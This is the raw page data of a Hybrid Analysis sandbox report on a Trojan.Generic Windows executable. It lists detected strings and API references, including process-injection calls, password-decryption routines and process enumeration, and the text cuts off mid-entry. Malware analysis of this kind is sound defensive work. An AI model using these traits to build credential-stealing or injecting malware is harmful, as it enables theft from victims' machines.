24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 6c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 6acdd71730d3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 6acdd71730d3…. Malware family: Trojan.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 10 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","64bits","executable"],"identifier":"6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":16,"total":25},"behavioralIndicators":{"malicious":10,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T40d,Found string "The WS-Management service does not support the specified compression scheme (%1)." (Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The only supported compression type is "xpress"." (Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The WinRM client cannot process the request. The request contained the compression option but contained an unrecognized value." (Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "Change the value for the compression option and try the request again." (Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") file/memory contains long string(Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "ZipFileReader was in an invalid state" (Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "Could not consume all of the output of the current ZipFile:" (Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")26:T6f9,Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "file") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "file") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "file") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "file") Found reference to API "CreateProcessW failedWriteProcessMemory failedCreateRemoteThread failedinjection failed (empty output)VirtualAllocEx failedVirtualAllocEx (init) failedread inject out: oR" (Indicator: "VirtualAlloc"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateProcessW failedWriteProcessMemory failedCreateRemoteThread failedinjection failed (empty output)VirtualAllocEx failedVirtualAllocEx (init) failedread inject out: oR" (Indicator: "VirtualAllocEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateProcessW failedWriteProcessMemory failedCreateRemoteThread failedinjection failed (empty output)VirtualAllocEx failedVirtualAllocEx (init) failedread inject out: oR" (Indicator: "WriteProcessMemory"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")27:Tc5e,"file.exe" called "LoadResource with parameter {'hModule': '2577739677698', 'hResInfo': '2577739941312'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577739677698', 'hResInfo': '2577739941280'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577740136450', 'hResInfo': '2577768126864'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577739677698', 'hResInfo': '2577739940712'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577774941728'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577739677698', 'hResInfo': '2577739943432'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577739677698', 'hResInfo': '2577739943416'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577739677698', 'hResInfo': '2577739943560'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577739677698', 'hResInfo': '2577739943656'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577740136450', 'hResInfo': '2577739679344'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577740136450', 'hResInfo': '2577739679424'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324504'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324552'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324264'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324712'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324376'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324632'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775323864'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324104'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324184'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775324728'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775323976'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775325336'}" (UID: 00000000-00000700) "file.exe" called "LoadResource with parameter {'hModule': '2577768120322', 'hResInfo': '2577775323912'}" (UID: 00000000-00000700)28:Ta8e,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "file") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "file") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "file") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "file") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "file") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "file") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "file") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "file") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "file") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "file") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")29:T818,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "file") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "file") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "file") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryA() failed" (Indicator: "LoadLibrary"; File: "file") Found reference to API "kernel32.dllLoadLibraryACoInitializeExCoCreateInstanceCoSetProxyBlanketCreateFileAWriteFileCloseHandleinjection failed: all IIDs exhaustedinjection returned emptyck_.bin" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryA() failed" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "kernel32.dllLoadLibraryACoInitializeExCoCreateInstanceCoSetProxyBlanketCreateFileAWriteFileCloseHandleinjection failed: all IIDs exhaustedinjection returned emptyck_.bin" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")2a:T505,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")2b:T7e2,Found reference to "SHA1SHA256SHA384SHA512SHA512_256/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/polyfill/slice/as_chunks.rs" (Indicator: "SHA384"; File: "file") Found reference to "SHA1SHA256SHA384SHA512SHA512_256/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/polyfill/slice/as_chunks.rs" (Indicator: "SHA512"; File: "file") Found reference to "ECDSA_P256_SHA256_ASN1ECDSA_P256_SHA256_FIXEDECDSA_P256_SHA384_ASN1ECDSA_P384_SHA256_ASN1ECDSA_P384_SHA384_ASN1ECDSA_P384_SHA384_FIXED" (Indicator: "SHA384"; File: "file") Found reference to "SHA512 block transform for x86_64, CRYPTOGAMS by " (Indicator: "SHA512"; File: "file") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00001552-00000BC0-2048010590") Found reference to "SHA1SHA256SHA384SHA512SHA512_256/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/polyfill/slice/as_chunks.rs" (Indicator: "SHA384"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to "SHA1SHA256SHA384SHA512SHA512_256/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ring-0.17.14/src/polyfill/slice/as_chunks.rs" (Indicator: "SHA512"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to "ECDSA_P256_SHA256_ASN1ECDSA_P256_SHA256_FIXEDECDSA_P256_SHA384_ASN1ECDSA_P384_SHA256_ASN1ECDSA_P384_SHA384_ASN1ECDSA_P384_SHA384_FIXED" (Indicator: "SHA384"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") file/memory contains long string with (Indicator: "SHA384"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") file/memory contains long string with (Indicator: "SHA512"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to "SHA512 block transform for x86_64, CRYPTOGAMS by " (Indicator: "SHA512"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")2c:T716,"file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2029482588 [PID: 700] "file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2029490174 [PID: 700] "file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2029860394 [PID: 700] "file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2029869828 [PID: 700] "file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2046314395 [PID: 700] "file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2046439836 [PID: 700] "file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2046446903 [PID: 700] "file.exe" queried SystemProcessInformation at 00000000-00000700-00000C15-2046453904 [PID: 700] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2047075070 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2047083130 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2048418333 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2048426778 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2049209299 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2049217265 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2049508226 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2049517515 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2049564622 [PID: 1552] "powershell.exe" queried SystemProcessInformation at 00000000-00001552-00000C15-2049584346 [PID: 1552]2d:Taba,Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "file") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "file") Found api reference "CertDuplicateCertificateContext" (Indicator: "CertDuplicateCertificateContext"; File: "file") Found api reference "CertVerifyTimeValidity" (Indicator: "CertVerifyTimeValidity"; File: "file") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "file") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; File: "file") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "file") Found api reference "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "file") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; File: "file") Found api reference "CertGetEnhancedKeyUsage" (Indicator: "CertGetEnhancedKeyUsage"; File: "file") Found api reference "CryptUnprotectData failedsrc/internal/passwords/decrypt.rs" (Indicator: "CryptUnprotectData"; File: "file") Found api reference "CryptUnprotectData failedsrc/internal/passwords/decrypt.rs" (Indicator: "CryptUnprotectData"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CertDuplicateCertificateContext" (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CertGetEnhancedKeyUsage" (Indicator: "CertGetEnhancedKeyUsage"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CertVerifyTimeValidity" (Indicator: "CertVerifyTimeValidity"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found api reference "CryptUnprotectData" (Indicator: "CryptUnprotectData"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")2e:T23c5,Assembly shows XOR instruction xor ecx 5Ch in Stream UID: 39755-3495-000000014013EFD0 Assembly shows XOR instruction xor eax 5Ch in Stream UID: 39755-3495-000000014013EFD0 Assembly shows XOR instruction xor eax 2Eh in Stream UID: 39755-3564-0000000140140780 Assembly shows XOR instruction xor r8L 01h in Stream UID: 39755-3570-000000014013EA00 Assembly shows XOR instruction xor al 01h in Stream UID: 39755-3570-000000014013EA00 Assembly shows XOR instruction xor rdx rax in Stream UID: 39755-3765-0000000140006642 Assembly shows XOR instruction xor edx eax in Stream UID: 39755-3765-0000000140006642 Assembly shows XOR instruction xor cl byte ptr [rax-75h] in Stream UID: 39755-3898-000000014000E415 Assembly shows XOR instruction xor eax 0038858Fh in Stream UID: 39755-4511-00000001400281C3 Assembly shows XOR instruction xor cl byte ptr [rax-75h] in Stream UID: 39755-4975-0000000140017A2C Assembly shows XOR instruction xor rdx rax in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor edx eax in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor rcx rax in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor ecx eax in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor rdx rcx in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor edx ecx in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor rax rdx in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor eax edx in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor rax rcx in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor eax ecx in Stream UID: 39755-5011-00000001401546E7 Assembly shows XOR instruction xor rsi 01h in Stream UID: 39755-5035-000000014015C348 Assembly shows XOR instruction xor esi 01h in Stream UID: 39755-5035-000000014015C348 Assembly shows XOR instruction xor r10d 0Fh in Stream UID: 39755-5042-000000014015AADB Assembly shows XOR instruction xor edx 0Fh in Stream UID: 39755-5042-000000014015AADB Assembly shows XOR instruction xor eax r8d in Stream UID: 39755-6015-000000014007F73A Assembly shows XOR instruction xor rax rbx in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor eax ebx in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor rdx r12 in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor edx esp in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor rax r15 in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor eax edi in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor rdx rdi in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor edx edi in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor rax rdi in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor rdx rsi in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor edx esi in Stream UID: 39755-7873-00000001400C2B0D Assembly shows XOR instruction xor rdi r15 in Stream UID: 39755-9486-00000001400F9DEA Assembly shows XOR instruction xor cl 01h in Stream UID: 39755-9486-00000001400F9DEA Assembly shows XOR instruction xor r15L 01h in Stream UID: 39755-11380-00000001401452F8 Assembly shows XOR instruction xor bh 01h in Stream UID: 39755-11380-00000001401452F8 Assembly shows XOR instruction xor r13L 01h in Stream UID: 39755-11380-00000001401452F8 Assembly shows XOR instruction xor ch 01h in Stream UID: 39755-11380-00000001401452F8 Assembly shows XOR instruction xor dword ptr [rax-75h] ecx in Stream UID: 39755-11380-00000001401452F8 Assembly shows XOR instruction xor eax dword ptr [rdx] in Stream UID: 39755-11397-000000014014762C Assembly shows XOR instruction xor rcx qword ptr [rdx+06h] in Stream UID: 39755-11397-000000014014762C Assembly shows XOR instruction xor ecx dword ptr [rdx+06h] in Stream UID: 39755-11397-000000014014762C Assembly shows XOR instruction xor al 01h in Stream UID: 39755-11397-000000014014762C Assembly shows XOR instruction xor byte ptr [rax+rax] al in Stream UID: 39755-11542-0000000140154E48 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor r14d r10d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor esi edx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor esi r8d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor esi eax in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor edi r9d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor edi ecx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor edx r11d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor edx ebx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ecx ebx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ebp r11d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ebp ebx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor r13d r12d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ebp esp in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor eax r15d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor eax edi in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor r13d r10d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ebp edx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor r14d r9d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor esi ecx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ebp r15d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ebp edi in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor edi ebx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor eax r8d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor ecx r12d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor esi r11d in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor esi ebx in Stream UID: 39755-12766-00000001401A93F9 Assembly shows XOR instruction xor rax rsp in Stream UID: 39755-12856-00000001401C1148 Assembly shows XOR instruction xor eax esp in Stream UID: 39755-12856-00000001401C1148 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-12856-00000001401C1148 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-12856-00000001401C1148 Assembly shows XOR instruction xor rax rsp in Stream UID: 39755-13927-00000001401E2AD4 Assembly shows XOR instruction xor eax esp in Stream UID: 39755-13927-00000001401E2AD4 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-13927-00000001401E2AD4 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-13927-00000001401E2AD4 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-15629-00000001402532E2 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-15629-00000001402532E2 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-15949-000000014026BA83 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-15949-000000014026BA83 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-16505-000000014028F738 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-16505-000000014028F738 Assembly shows XOR instruction xor rax rsp in Stream UID: 39755-16593-00000001402952D4 Assembly shows XOR instruction xor eax esp in Stream UID: 39755-16593-00000001402952D4 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-16593-00000001402952D4 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-16593-00000001402952D4 Assembly shows XOR instruction xor rax rsp in Stream UID: 39755-16594-00000001402954F8 Assembly shows XOR instruction xor eax esp in Stream UID: 39755-16594-00000001402954F8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-16594-00000001402954F8 Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-16594-00000001402954F8 Assembly shows XOR instruction xor rax rsp in Stream UID: 39755-16595-00000001402953DC Assembly shows XOR instruction xor eax esp in Stream UID: 39755-16595-00000001402953DC Assembly shows XOR instruction xor rcx rsp in Stream UID: 39755-16595-00000001402953DC Assembly shows XOR instruction xor ecx esp in Stream UID: 39755-16595-00000001402953DC2f:T141c,Observed string: "failed to parse private key as RSA, ECDSA, or EdDSA/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/sign.rs" (Indicator: "failed to parse private key as RSA, ECDSA, or EdDSA/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/sign.rs") in Source: file Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/quic.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/quic.rs") in Source: file Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls12.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls12.rs") in Source: file Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls13.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls13.rs") in Source: file Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/cipher.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/cipher.rs") in Source: file Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hash.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hash.rs") in Source: file Observed string: 